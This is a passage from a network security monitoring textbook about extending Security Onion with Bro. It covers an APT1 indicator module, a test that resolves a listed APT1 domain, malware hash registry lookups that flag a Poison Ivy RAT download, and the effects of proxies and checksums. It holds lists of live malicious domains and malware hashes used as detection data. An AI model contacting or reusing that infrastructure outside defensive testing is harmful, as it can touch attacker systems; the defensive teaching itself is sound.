The presence of these logs indicates that Bro is extracting Windows executables from HTTP traffic, thanks to our configuration changes and application restart.

Using APT1 Intelligence In February 2013, Mandiant released a report on a Chinese military unit known as Advanced Persistent Threat 1 (APT1). Within China, APT1 is the Second Bureau of the Third Department of the General Staff Directorate of the People’s Liberation Army. Also known by its Military Unit Cover Designator, 61398, this Army team targets English-speaking companies and steals trade secrets, intellectual property, and other sensitive information. In its report, Mandiant released 3000 IOCs (discussed in Chapter 9), including domain names, IP addresses, X.509 encryption certificates, and MD5 hashes of malware used by APT1. Mandiant also published video of

Extending SO

277

the intruders interacting with victim Western computers to send phishing email, establish command-and-control channels, and exfiltrate data. Although Mandiant published intelligence in OpenIOC (http://www .openioc.org/) format, it was not immediately clear how network defenders and NSM analysts could apply those indicators to their network. Within two days of the report’s arrival, Seth Hall from the Bro project published one answer: a new Bro module called APT1, incorporating Mandiant’s APT1 intelligence (https://github.com/sethhall/bro-apt1/). Network defenders running NSM shops using SO now had an easy way to search for APT1 indicators on the network.

PROOF-OF-CONCE P T V S. PRODUC T ION Seth Hall wrote the APT1 Bro module as a proof-of-concept in the interest of publishing something quickly for the benefit of the community. However, SO users should be aware of several aspects of this module when using it in production. (Seth would be the first to warn you of all these issues, but I include them here for clarity!) As written, the module identifies the use of APT1 domains in DNS traffic, but it does not detect APT1 domains in the Host element of HTTP headers (such as Host: advanbusiness.com) or proxy-style URIs (such as GET http://advanbusiness .com/some/file). Also, the module doesn’t look for activity involving subdomains (such as subdomain.advanbusiness.com). In addition to using the features in the APT1 Bro module, you could also look for interesting domains in other traffic, such as SMTP, or other content. As of this writing, the module doesn’t include those functions, but you can use the Bro network programming language to write scripts to meet those needs. Seth reminds users that Bro is constantly evolving, and his module will likely change as Bro incorporates new features.

Using the APT1 Module So far, we’ve explored how Bro works with SO to create a variety of useful logs, and we’ve modified local.bro to enable the extraction of Windows executables from HTTP and FTP traffic. Now we will extend Bro by adding a new module to its configuration. Seth’s APT1 module consists of three policy scripts: data.bro This script contains a list of the domain names, MD5 hashes, and elements of the X.509 certificates Mandiant provided, formatted for consumption by Bro. main.bro This script tells Bro’s notice framework to watch for matches against elements in data.bro. load__.bro This script tells Bro to load data.bro and main.bro. 278

Chapter 12

The module also includes a file called README.rst, which contains instructions on how to install the script, discusses new notices generated by Bro, and offers related information. The IOCs in data.bro are formatted as shown in Listing 12-19. umodule APT1; vconst x509_serials_and_subjects: set[string, string] = { ["01", "C=US, ST=Some-State, O=www.virtuallythere.com, OU=new, CN=new"], ["0122", "C=US, ST=Some-State, O=Internet Widgits Pty Ltd, CN=IBM"], -- snip -}; wconst domains: set[string] = { "advanbusiness.com", "aoldaily.com", "aolon1ine.com", "applesoftupdate.com", -- snip -}; xconst file_md5s: set[string] = { "001dd76872d80801692ff942308c64e6", "002325a0a67fded0381b5648d7fe9b8e", "00dbb9e1c09dbdafb360f3163ba5a3de", -- snip -}; Listing 12-19: Excerpt from APT1 data.bro

The data.bro file contains four main parts: • • • •

Part u declares that this is the APT1 module. Part v includes X509 encryption certificate details recognized by Bro and used by APT1. Part w contains a list of malicious domains associated with APT1 activity. Part x features a list of MD5 hashes of malware used by APT1.

As you can see, it’s very easy to add IOCs to this file or a copy, in order to detect different activities. The main.bro file generates alert data in the Bro notice.log file, as shown in Listing 12-20. APT1::Domain_Hit APT1::Certificate_Hit APT1::File_MD5_Hit Listing 12-20: Alert data generated by the APT1 module

We’ll see one of these alerts in a live example when we test the APT1 module, but first we need to get that module and install it.

Extending SO

279

Installing the APT1 Module We can test the APT1 module using techniques like the ones we tried when enabling binary extraction from HTTP and FTP traffic. Listing 12-21 shows this process in action. $ sudo apt-get install gitu -- snip -$ cd /opt/bro/share/bro/site/ $ sudo git clone git://github.com/sethhall/bro-apt1.git apt1v Cloning into 'apt1'... remote: Counting objects: 12, done. remote: Compressing objects: 100% (10/10), done. remote: Total 12 (delta 2), reused 11 (delta 1) Receiving objects: 100% (12/12), 32.82 KiB, done. Resolving deltas: 100% (2/2), done. $ ls apt1 local.bro

local.bro.orig local-manager.bro

local-proxy.bro local-worker.bro

$ cd apt1 $ ls data.bro

__load__.bro

main.bro

README.rst

Listing 12-21: Installing Git and obtaining the APT1 module

To acquire the APT1 module, first install the Git version control software u, and then clone the Git repository of Seth Hall’s APT module v. Once the APT1 module has been downloaded into the /opt/bro/share/ bro/site/ directory, tell Bro about it by adding the following line to the bottom of local.bro: @load apt1

With local.bro modified, we’re almost ready to test the APT1 module, but we still need to take one more step.

Generating Traffic to Test the APT1 Module To test the APT1 module, we launch a terminal on our sensor and tell Tcpdump to capture traffic. We apply a BPF to focus on traffic to and from port 53 that involves our test system 192.168.2.102. Tcpdump will save what it sees to a trace file called port53.pcap. $ sudo tcpdump -n -i eth0 -s 0 -w port53.pcap port 53 and host 192.168.2.102

280

Chapter 12

In a second terminal, query for one of the domains listed in the APT1 data.bro policy script advanbusiness.com, as shown in Listing 12-22. $ host advanbusiness.comu advanbusiness.com has address 50.63.202.91v advanbusiness.com mail is handled by 0 smtp.secureserver.net. advanbusiness.com mail is handled by 10 mailstore1.secureserver.net. Listing 12-22: Performing a DNS query for advanbusiness.com

Next, we use the Linux utility host to query for advanbusiness.com u, and see that the result is the IP address 50.63.202.91 v. Returning to Tcpdump, we stop the capture with CTRL-C and review the results, as shown in Listing 12-23. $ tcpdump -n -r port53.pcap reading from file port53.pcap, link-type EN10MB (Ethernet) 14:30:15.622379 IP 192.168.2.102.57097 > 172.16.2.1.53: 57373+ A? advanbusiness.com.u (35) 14:30:15.762833 IP 172.16.2.1.53 > 192.168.2.102.57097: 57373 1/0/0 A 50.63.202.91v (51) 14:30:15.765342 IP 192.168.2.102.58378 > 172.16.2.1.53: 42025+ AAAA? advanbusiness.com. (35) 14:30:15.870230 IP 172.16.2.1.53 > 192.168.2.102.58378: 42025 0/1/0 (103) 14:30:15.872373 IP 192.168.2.102.42336 > 172.16.2.1.53: 29779+ MX? advanbusiness.com. (35) 14:30:15.989506 IP 172.16.2.1.53 > 192.168.2.102.42336: 29779 2/0/2 MX smtp.secureserver.net. 0, MX mailstore1.secureserver.net. 10 (131) Listing 12-23: DNS query for advanbusiness.com

Listing 12-23 shows the query for advanbusiness.com u, followed by the result: IP address 50.63.202.91 v. With this traffic, we can now test the APT1 module.

Testing the APT1 Module To test the APT1 module, we run Bro against the trace file we just captured. Listing 12-24 shows the result. $ sudo bro -r port53.pcapu /opt/bro/share/bro/site/local.brov WARNING: No Site::local_nets have been defined. It's usually a good idea to define your local networks. WARNING: Template value remaining in BPFConf filename: /etc/nsm/{{hostname}}{{interface}}/bpf-bro.conf (/opt/bro/share/bro/securityonion/./bpfconf.bro, line 99) Listing 12-24: Running Bro against the saved DNS traffic

Listing 12-24 shows Bro reading a network trace u, while the presence of the local.bro v file in the command line tells Bro to read that file for additional configuration information. We can now see which logs Bro generated.

Extending SO

281

First, we examine the contents of the current working directory, as shown in Listing 12-25. $ ls -al total 52 drwxrwxr-x 3 soe soe 4096 Apr 18 14:52 . drwxr-xr-x 33 soe soe 4096 Apr 18 14:52 .. -rw-r--r-- 1 root root 278 Apr 18 14:52 capture_loss.log -rw-r--r-- 1 root root 865 Apr 18 14:52 conn.log -rw-r--r-- 1 root root 932 Apr 18 14:52 dns.log -rw-r--r-- 1 root root 8020 Apr 18 14:52 loaded_scripts.log -rw-r--r-- 1 root root 864 Apr 18 14:52 notice.logu -rw-r--r-- 1 root root 1128 Apr 18 14:52 notice_policy.log -rw-r--r-- 1 root root 251 Apr 18 14:52 packet_filter.log -rw-rw-r-- 1 soe soe 762 Apr 18 14:52 port53.pcap -rw-r--r-- 1 root root 951 Apr 18 14:52 reporter.log drwx------ 3 root root 4096 Apr 18 14:52 .state Listing 12-25: Logs created by running Bro against the saved HTTP traffic

Listing 12-25 shows a variety of files created when Bro processed the network trace. Let’s look at the notice.log u to see if the APT1 module detected the DNS query we made for the reportedly malicious advanbusiness.com domain. Listing 12-26 shows the output. $ cat notice.log | bro-cut -C -d #separator \x09 #set_separator , #empty_field (empty) #unset_field #path notice #open 2013-04-18-14-52-57 #fields ts note msg suppress_for location.city index.host

uid id.orig_h id.orig_p id.resp_h id.resp_p proto sub src dst p n peer_descr actions policy_items dropped remote_location.country_code remote_location.region remote_ remote_location.latitude remote_location.longitude metric_ metric_index.str metric_index.network

#types addr string

string addr port addr port enum enum port count string table[enum] table[count] string double double addr string subnet

string addr string

string string interval

bool

2013-04-18T14:30:15+0000 IVCYGEfpRya 192.168.2.102 57097 172.16.2.1 53 udp APT1::Domain_Hitu A domain from the APT1 report seen: advanbusiness.comv 192.168.2.102 172.16.2.1 53 bro Notice::ACTION_LOG 6 3600.000000 F #close

2013-04-18-14-52-57

Listing 12-26: Contents of the Bro notice.log file

282

Chapter 12

Listing 12-26 shows Bro reporting an APT::Domain_hit alert u, followed by information about the domain seen, advanbusiness.com v. Our test was successful, but this was only a test. To make Bro run the new configuration, we need to restart Bro, as shown in Listing 12-27. $ sudo broctl install && sudo broctl restart removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/site ... done. removing old policies in /nsm/bro/spool/installed-scripts-do-not-touch/auto ... done. creating policy directories ... done. installing site policies ... done. generating cluster-layout.bro ... done. generating local-networks.bro ... done. generating broctl-config.bro ... done. updating nodes ... done. stopping ... stopping soe-eth0-1 ... stopping proxy ... stopping manager ... starting ... starting manager ... starting proxy ... starting soe-eth0-1 ... Listing 12-27: Restarting Bro from the command line

Remember to check Bro’s status using the sudo nsm_sensor_ps-status --only-bro command as well.

Reporting Downloads of Malicious Binaries As you learned earlier, Bro can calculate MD5 hashes of Windows executables downloaded over HTTP. In this section, we’ll examine how SO and Bro integrate with a third-party malware hash registry to warn analysts when users download malicious software using a database offered by the Team Cymru organization.

Using the Team Cymru Malware Hash Registry Team Cymru, formally known as Team Cymru Research NFP, describes itself as “a specialized Internet security research firm and 501(c)3 non-profit dedicated to making the Internet more secure” (http://www.team-cymru. org/About/). We can use their free Malware Hash Registry (MHR, at http:// www.team-cymru.org/Services/MHR/) to match MD5 hashes against known malware. Most analysts query the MHR via DNS. Listing 12-28 shows how to use the Linux dig command to run DNS TXT record queries for a malware hash against MHR.

Extending SO

283

$ dig +short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com TXTu "1277221946v 79w" $ date -d @1277221946x Tue Jun 22 15:52:26 UTC 2010y $ dig +short 1e39efe30b02fd96b10785b49e23913b.malware.hash.cymru.com TXTz

$ whois -h hash.cymru.com 1e39efe30b02fd96b10785b49e23913b{ 1e39efe30b02fd96b10785b49e23913b 1366297928 NO_DATA| Listing 12-28: Querying the MHR via TXT and whois records

The first example shows a DNS TXT records query for malware with hash 733a48a9cb49651d72fe824ca91e8d00 u. (Search VirusTotal to see what it is!) The

first part of the response shows the date when the MHR last saw the sample v. The second part of the response is a rough antivirus detection metric, as a percentage w. We convert the timestamp from Unix epoch time to human-readable format with the date command x, and see that it was June 22, 2010 y. The second example shows what happens when you query the MHR and it sends no response z. The hash supplied is the value for the Firefox binary. Because the MHR has no data on this hash, we switch to the MHR WHOIS query functionality {. The NO_DATA | response proves the MHR doesn’t know the supplied hash. The example in Listing 12-29 shows another query using dig, but not requesting a TXT record. $ dig +short 733a48a9cb49651d72fe824ca91e8d00.malware.hash.cymru.com 127.0.0.2 Listing 12-29: Querying the MHR via the default A record

We query for the same first hash from Listing 12-28, but we let the default be an A record. A query for an A record asks a DNS server to return an IP address for the requested fully qualified domain name. In contrast, a query for a PTR record asks a DNS server to return a fully qualified domain name for the requested IP address. A query for a TXT record asks a DNS server to reply with any text records associated with a domain name. Our only result is the IP address 127.0.0.2. This is the MHR’s way of responding to A record queries that have a match. If we want more information about a match, we need to run a DNS query for a TXT record, as shown earlier in Listing 12-28.

284

Chapter 12

The MHR and SO: Active by Default By default, Bro on SO is configured to work with the MHR to help detect malicious downloads. SO relies on Bro to calculate MD5 hashes of Windows executables downloaded over HTTP, and that Bro automatically submits those hashes to the MHR. We can see this activity in action if we query Bro logs via ELSA, as shown in Figure 12-8.

Figure 12-8: Querying ELSA for MHR lookup

In Figure 12-8, we query ELSA for 1e39efe30b02fd96b10785b49e23913b .malware.hash.cymru.com—the MD5 hash of the Firefox binary from an earlier example (1e39efe30b02fd196b10785b49e23913b), plus the domain malware.hash .cymru.com. Figure 12-8 shows eight results, all of which are pairs. The first entry in the pair is a lookup for an A record for IPv4, and the second entry is a lookup for an AAAA record for IPv6. Thus, we have four unique queries for this particular MD5 hash. We can use one of two approaches to determine if any of the lookups returned results: •

•

Inspect the results returned by ELSA directly. For example, a result with no indication of malicious entries in the MHR looks like |1 |C_INTERNET|1|A|-|-|F|F|T|F|0|-|- for IPv4 and |1|C_INTERNET|28|AAAA||-|F|F|T|F|0|-|- for IPv6. We see these results for each of the entries in Figure 12-8, indicating that there are no matches in the MHR. This tells us that the MHR doesn’t think the download of a binary with MD5 1e39efe30b02fd96b10785b49e23913b is malicious. Query ELSA for Malware_Hash_Registry_Match. This is part of the event returned by Bro when it queries the MHR and gets a positive response. In this case, the query finds no records in ELSA for a binary with hash 1e39efe30b02fd96b10785b49e23913b. Extending SO

285

The MHR and SO vs. a Malicious Download Because SO and Bro query the MHR by default, in production, any match for a malicious download will appear in ELSA and the underlying Bro logs. For example, suppose that one day you’re working with SO and your NSM data, and you run a query for Malware_Hash_Registry_Match. You get the result shown in Figure 12-9.

Figure 12-9: Query result for Malware_Hash_Registry_Match

I’ve reproduced the same log entry as text only in Listing 12-30 for easy reference. 1366293016.555895 192.168.2.108u 62585 205.186.148.46v 80 tcp HTTP::Malware_Hash_Registry_Matchw 192.168.2.108 b4f990cad1d20efab410e98fc7a6c81bx http://www.taosecurity.com/helpdesk.exey 192.168.2.108 205.186.148.46 80soe-eth0-1 Notice::ACTION_LOG 6 3600.000000 F --Listing 12-30: Log entry for Malware_Hash_Registry_Match

This log result from the Bro notice.log file indicates that a computer with IP address 192.168.2.108 u visited 205.186.148.46 v and triggered an HTTP::Malware_Hash_Registry_Match w alert for MD5 hash b4f990cad1d20efab410e98fc7a6c81b x from www.taosecurity.com and the helpdesk.exe file y. We can learn more about this connection if we query ELSA for the filename helpdesk.exe, as shown in Figure 12-10. The results show three records: • • •

286

Chapter 12

The first record in Figure 12-10 is Bro’s way of telling us that it computed an MD5 hash of the helpdesk.exe binary. The second record is the same as what we saw in the MD5 lookup. The third record shows that Bro extracted the binary from the HTTP traffic and saved it as /nsm/bro/extracted/http/http-item_192.168.2.108: 62585-205.186.148.46:80_resp_1.dat.

Figure 12-10: Querying ELSA for helpdesk.exe

Identifying the Binary We know that Bro and SO performed a lookup for the binary based on an MD5 hash, and we know that a match was found because Bro reported a Malware_Hash_Registry_Match event. We can take a different look at this result by querying ELSA using the hash and domain method demonstrated earlier in Figure 12-8. We’ll modify the query slightly by adding a +127.0.0.2 after the hash and domain. The plus sign (+) tells ELSA to query for the term after it— specifically 127.0.0.2, which is the IP address that the MHR returns when Bro queries it for malware hashes. (We saw this difference in Listing 12-28.) Figure 12-11 shows the result of looking for MHR matches for the hash and domain b4f990cad1d20efab410e98fc7a6c81b.malware.hash.cymru.com.

Figure 12-11: Querying ELSA for b4f990cad1d20efab410e98fc7a6c81b.malware.hash.cymru.com +127.0.0.2

Extending SO

287

We get one result. The presence of the 127.0.0.2 reply tells us that the MHR recognized the hash. At this point, we could take a few different paths to identify the binary: •

• •

Because the binary is stored in /nsm/bro/extracted/http/http-item_ 192.168.2.108:62585-205.186.148.46:80_resp_1.dat, we could perform manual analysis. We could submit the extracted binary to a third-party engine like VirusTotal. We could submit the hash to VirusTotal, which returns the results shown in Figure 12-12.

Figure 12-12: VirusTotal results for submitting hash b4f990cad1d20efab410e98fc7a6c81b

VirusTotal identifies the malware as a Poison Ivy variant—a popular remote-access Trojan (RAT) available from several websites. We hope the user identified through this case downloaded the tool only for testing purposes. If not, it’s time to begin looking for signs of outbound commandand-control traffic, as described in Chapters 10 and 11. Good hunting!

Conclusion This chapter has introduced you to four ways to extend and make better use of functions packaged with SO. We covered how Bro creates MD5 hashes for executables, and showed how to use them with VirusTotal. We configured Bro to extract executable binaries from network traffic, and demonstrated how to integrate external intelligence from Mandiant’s APT1 report. We also generated alerts in Bro to simulate suspicious DNS lookups for an APT1 domain. We finished the chapter by showing how SO reports and extracts the download of a malicious binary in production, which we learned was the Poison Ivy RAT. In the next chapter, we’ll take a look at two challenges to conducting NSM: proxies and checksums. 288

Chapter 12

13 PROXIES AND CHECKSUMS

This chapter, aptly number 13, examines two unlucky features of conducting NSM on real networks: proxies and checksums. The term proxy refers to a piece of network infrastructure that some companies use to observe, control, and accelerate Internet usage. The term checksum, in the context of this chapter, refers to an error detection mechanism offered by the Internet Protocol (IP). This chapter describes some ways to cope with the problems caused by each of these features in operational environments.

Proxies Web proxies are especially popular in corporate environments. One type of web proxy is tuned to handle traffic from web clients destined for web servers.

Some network and security administrators like proxies because they provide performance and security benefits. With proxies, users sometimes enjoy better access to content because that content is cached the first time any user views it, with subsequent users enjoying fast access to the cached copy. When users must send traffic through a proxy, administrators can try to protect the network by limiting their access to malicious sites. Figure 13-1 shows how a web proxy might work in a corporate environment. Here, a web client with IP address 192.168.2.108 visits a web server at 205.186.148.46. The web client first establishes a session with the proxy, labeled CONNECTION 1. The proxy then connects to the web server on behalf of the client. That session is labeled CONNECTION 2. All traffic between the client and server occurs over independent connections like these. CONNECTION 1 Location X

Web Client 192.168.2.108

CONNECTION 2 Location Y

Proxy Internal: 192.168.2.1 External: 172.16.2.1

Internet Web Server 205.186.148.46

Figure 13-1: Sample web proxy setup

Proxies and Visibility As you can see in Figure 13-1, some elements of visibility are lost when administrators deploy proxies. Instead of seeing only a true source IP address for the web client and a true destination IP address for the web server, we also see internal and external IP addresses for the proxy. The web client speaks to the proxy, which then speaks to the web server. When the web server replies, the direction is reversed. For example, an NSM platform watching traffic at location X in Figure 13-1 sees traffic with source IP address 192.168.2.108 and destination IP address 192.168.2.1. An NSM platform at location Y sees traffic with source IP address 172.16.2.1 and destination IP address 205.186.148.46. There doesn’t seem to be a single location where one sensor can see both the true source IP address (192.168.2.108) and true destination IP address (205.186.148.46) at once. This is a problem for analysts who rely on this information to detect and respond to intruders. Without access to sufficient logs, NSM analysts may actually see less when proxies are deployed. Sometimes they can access proxy logs, but those may not be easy to read. Sometimes analysts can capture network traffic directly on the proxy itself. For example, the proxy in Figure 13-1 is running the pfSense (http://www.pfsense.org/) firewall with the Squid (http:// www.squid-cache.org/) web proxy. Because the specific platform is a FreeBSD system in this example, we can collect traffic directly on the server. That is not usually the case in production, but we will leverage this situation in this chapter to gather network traffic and better understand the situation.

290

Chapter 13

Suppose you want to troubleshoot a perceived problem with the proxy in Figure 13-1. You decide to log full content traffic in pcap format using Tcpdump. You collect traffic from the internal interface in one trace file called bej-int.pcap. You then collect traffic in a separate session from the external interface in bej-ext.pcap. While sniffing each interface, you use a web client on 192.168.2.108 to visit the www.bejtlich.net web server. In order to look at the contents of the trace file, you manually generate a transcript using Tcpflow (https://github.com/simsong/tcpflow/), as shown in Listing 13-1. $ tcpflow -r bej-int.pcap $ ls -al total 56 drwxrwxr-x drwxrwxr-x -rw-rw-r--rw-rw-r--

3 4 1 1

ds61so ds61so ds61so ds61so

ds61so 4096 Apr 23 20:14 ds61so 4096 Apr 23 20:05 ds61so 3605 Apr 21 20:53 ds61so 376 Apr 21 20:53

. .. 172.016.002.001.03128-192.168.002.108.50949u 192.168.002.108.50949-172.016.002.001.03128v

Listing 13-1: Using Tcpflow to generate transcripts manually on the bej-int.pcap trace file

When run in this manner, Tcpflow generates two files. The first is traffic from the proxy to the client u. The second is traffic from the client to the proxy v. Traffic from the Client to the Proxy Listing 13-2 shows the traffic from the client to the proxy in this example. $ cat 192.168.002.108.50949-172.016.002.001.03128 GET http://www.bejtlich.net/u HTTP/1.1 Host: www.bejtlich.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://www.taosecurity.com/training.html Connection: keep-alive Listing 13-2: Traffic from the client to the proxy

At location X, notice that the GET request for http://www.bejtlich.net/ u is a bit different from normal GET requests. Unproxied web traffic would make a GET request to the / directory, not the entire URL, with something like GET /. Listing 13-3 shows the response from the proxy.

Proxies and Checksums

291

$ cat 172.016.002.001.03128-192.168.002.108.50949 HTTP/1.0 200 OK Date: Sun, 21 Apr 2013 20:53:38 GMT Server: Apache/2 Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT ETag: "2e800ed-c713-4d25031f1f600" Accept-Ranges: bytes Content-Length: 3195 Content-Type: text/html; charset=UTF-8 X-Cache: MISS from localhostu X-Cache-Lookup: MISS from localhost:3128v Via: 1.1 localhost:3128 (squid/2.7.STABLE9)w Connection: keep-alive Proxy-Connection: keep-alivex y



-- snip -Listing 13-3: Traffic from proxy to client as seen at location X

Listing 13-3 includes four headers indicating that a proxy is involved. The headers at u and v show that the proxy didn’t have a locally cached copy of the requested content. The headers at w and x report the nature of the proxy connection. The last part, at y, shows the beginning of the web page hosted at 205.186.148.46. Traffic from the Proxy to the Web Server Now let’s use Tcpflow to see what traffic looks like when it goes from the proxy to a web server, as seen at location Y. Listing 13-4 shows how to generate the transcripts against trace file bej-ext.pcap, which was captured on the proxy interface facing the web server. $ tcpflow -r bej-ext.pcap $ ls -al total 20 drwxrwxr-x drwxrwxr-x -rw-rw-r--rw-rw-r--

2 3 1 1

ds61so ds61so ds61so ds61so

ds61so 4096 Apr 23 20:33 ds61so 4096 Apr 23 20:32 ds61so 461 Apr 21 20:53 ds61so 3453 Apr 21 20:53

. .. 192.168.001.002.02770-205.186.148.046.00080u 205.186.148.046.00080-192.168.001.002.02770v

Listing 13-4: Using Tcpflow to generate transcripts manually on the bej-ext.pcap trace file

292

Chapter 13

Again, Tcpflow generates two files: traffic from the proxy to the server u and traffic from the server to the proxy v. Let’s look at traffic from the proxy to the server first, as shown in Listing 13-5. $ cat 192.168.001.002.02770-205.186.148.046.00080 GET /u HTTP/1.0 Host: www.bejtlich.net User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0) Gecko/20100101 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://www.taosecurity.com/training.html Via: 1.1 localhost:3128 (squid/2.7.STABLE9)v X-Forwarded-For: 192.168.2.108w Cache-Control: max-age=259200 Connection: keep-alive Listing 13-5: Traffic from the proxy to the server as seen at location Y

Listing 13-5 includes several interesting features: •

• •

NOTE

The resource visited by the proxy via the GET / request u resembles normal web traffic seen elsewhere in the book. However, it differs from the proxied request shown in Listing 13-2. The proxy includes a Via statement v indicating the involvement of a Squid proxy. The proxy reveals the true source IP address of the client making the web request in the X-Forwarded-For statement w.

Some security analysts worry that these “features,” especially the X-Forwarded-For statement, will allow intruders operating malicious websites to see these headers and learn how a company’s internal network is configured. Security teams must balance the added visibility they gain against a perceived leakage of potentially sensitive information to outsiders. Listing 13-6 shows the response from the server.

$ cat 205.186.148.046.00080-192.168.001.002.02770 HTTP/1.1 200 OK Date: Sun, 21 Apr 2013 20:53:38 GMT Server: Apache/2 Last-Modified: Wed, 02 Jan 2013 15:49:44 GMT ETag: "2e800ed-c713-4d25031f1f600" Accept-Ranges: bytes Content-Length: 3195 Connection: close Content-Type: text/html; charset=UTF-8

Proxies and Checksums

293





-- snip -Listing 13-6: Traffic from the server to the proxy as seen at location Y

As far as the web server in Listing 13-6 is concerned, the proxy is the system making the request. There is nothing special about what it sends back. (Notice in Listing 13-3 how the two differ, paying particular attention to the headers added by the proxy.)

Dealing with Proxies in Production Networks CIRTs have four options when dealing with proxies in production networks: 1. 2.

3.

4.

Try to gain access to the logs generated by a proxy in order to see traffic from the proxy’s perspective. Use the techniques described in Chapter 2 to deploy multiple sensors with appropriate visibility. In this respect, a proxy is like a NAT issue— put sensors where you need them in order to see true source and destination IP addresses. Make more extensive use of the information kept inside logs generated by proxy-aware NSM software. As shown in the transcripts in Listings 13-2, 13-3, and 13-5, information about proxy use is available for review. Use software that can enable special features to track X-Forwarded-For headers and extract the client IP address when reporting alert data. (See the enable_xff configuration option in Snort, for example.)

The next part of this chapter will take the third approach. We’ll use Bro to examine the traffic in these sample traces to see whether it can generate information that helps us deal with proxies. Before dealing with our proxy problem, however, we need to take a slight detour into the world of IP checksums.

Checksums IP headers contain a checksum as an error detection mechanism. Network devices calculate and insert checksums when they process packets. When a downstream device receives an IP packet, it calculates a checksum for that packet based on the contents of the IP header. For the purposes of the calculation, the equation sets the IP checksum field itself to zero. If the calculated checksum fails to match the checksum in the IP packet, the device may discard the packet. The device senses an error and deals with it by dropping the IP packet. 294

Chapter 13

A Good Checksum Figure 13-2 shows a checksum that is correct for the contents of a packet.

Figure 13-2: Correct IP checksum of 0x81a4 in a TCP packet

The IP checksum is 0x81a4 (0x means the value is represented in hexadecimal). Wireshark appends the word [correct] after the checksum value to show that it calculated a checksum and found that it matched the value reported in the packet. (Note this is a TCP segment, but we are concerned only with the IP checksum here.)

A Bad Checksum Figure 13-3 shows a checksum that is not correct for the contents of a packet.

Figure 13-3: Incorrect IP checksum of 0x0000 in a TCP packet

Here, we see that the IP checksum is 0x0000. Wireshark doesn’t like this value. It reports concern via a red bar over the IP header entry and the words [incorrect, should be 0x1529 (may be caused by “IP checksum offload”?)]. Wireshark shows that it calculated a checksum that didn’t match the value reported in the packet. (This is also a TCP segment.) Proxies and Checksums

295

Identifying Bad and Good Checksums with Tshark Tshark offers a few helpful ways to quickly review checksums. We’ll use the traffic we collected in “Proxies” on page 289 as our sample data. We’re supposed to be troubleshooting performance, and we expect to rely on those traces to answer our questions. First, look at the trace file recorded at location X, as shown in Listing 13-7. $ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e ip.checksum Source IP 192.168.2.108 172.16.2.1 192.168.2.108 192.168.2.108 172.16.2.1 172.16.2.1 192.168.2.108 172.16.2.1 192.168.2.108 172.16.2.1 172.16.2.1 192.168.2.108

SrcPort 50949 3128 50949 50949 3128 3128 50949 3128 50949 3128 3128 50949

Destination IP 172.16.2.1 192.168.2.108 172.16.2.1 172.16.2.1 192.168.2.108 192.168.2.108 172.16.2.1 192.168.2.108 172.16.2.1 192.168.2.108 192.168.2.108 172.16.2.1

DstPort 3128 50949 3128 3128 50949 50949 3128 50949 3128 50949 50949 3128

IP Checksum 0x81a4 0x0000 0x81af 0x8036 0x0000 0x0000 0x81ad 0x0000 0x81a5 0x0000 0x0000 0x81a4

Listing 13-7: Custom Tshark output for the bej-int.pcap trace file

Listing 13-7 invokes a few new switches to display only the information that concerns us. We used the -T fields and -E separator=/t switches to tell Tshark we wanted specific parts of the packets to be displayed and we wanted those fields printed with tabs between them. Using the -e switches, we told Tshark just which parts of the packets we wanted. (I added the headers after the command line to make it easier for you to recognize the fields.) Looking at the last column, it seems odd that every packet from 172.16.2.1 has a checksum of 0x0000. When we saw that same occurrence in Wireshark, the tool reported a checksum error. We can invoke Tshark again to tell us which packets have miscalculated checksums, as shown in Listing 13-8. $ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum_bad==1" 172.16.2.1 172.16.2.1 172.16.2.1 172.16.2.1 172.16.2.1 172.16.2.1

3128 3128 3128 3128 3128 3128

192.168.2.108 192.168.2.108 192.168.2.108 192.168.2.108 192.168.2.108 192.168.2.108

50949 50949 50949 50949 50949 50949

6 6 6 6 6 6

0x0000 0x0000 0x0000 0x0000 0x0000 0x0000

Listing 13-8: Tshark output for sample trace file showing only bad checksums

296

Chapter 13

In Listing 13-8, we add the display filter -R "ip.checksum_bad==1". This tells Tshark to show only packets whose checksums do not match the values Tshark thinks they should have. If you want to see only packets with good checksums, try the command shown in Listing 13-9. $ tshark -n -r bej-int.pcap -T fields -E separator=/t -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e ip.proto -e ip.checksum -R "ip.checksum_good==1" 192.168.2.108 192.168.2.108 192.168.2.108 192.168.2.108 192.168.2.108 192.168.2.108

50949 50949 50949 50949 50949 50949

172.16.2.1 172.16.2.1 172.16.2.1 172.16.2.1 172.16.2.1 172.16.2.1

3128 3128 3128 3128 3128 3128

6 6 6 6 6 6

0x81a4 0x81af 0x8036 0x81ad 0x81a5 0x81a4

Listing 13-9: Tshark output for sample trace file showing only good checksums

In Listing 13-9, we add the display filter -R "ip.checksum_good==1". This tells Tshark to show only packets whose checksums match the values Tshark thinks they should have. You could get the same results for Listing 13-8 using the display filter -R "ip.checksum_good==0" and the same results for Listing 13-9 using the display filter -R "ip.checksum_bad==0". Before investigating why we’re getting these bad checksums, let’s see whether they also appear in bej-ext.pcap. As we did with Listing 13-7, we can show the key elements of a trace file using Tshark. Listing 13-10 provides the syntax and output. $ tshark -n -r ../bej-ext.pcap -T fields -E separator=/t -e ip.src -e tcp. srcport -e ip.dst -e tcp.dstport -e ip.checksum 192.168.1.2 205.186.148.46 192.168.1.2 192.168.1.2 205.186.148.46 205.186.148.46 192.168.1.2 205.186.148.46 192.168.1.2 205.186.148.46 192.168.1.2 192.168.1.2 192.168.1.2 205.186.148.46

2770 80 2770 2770 80 80 2770 80 2770 80 2770 2770 2770 80

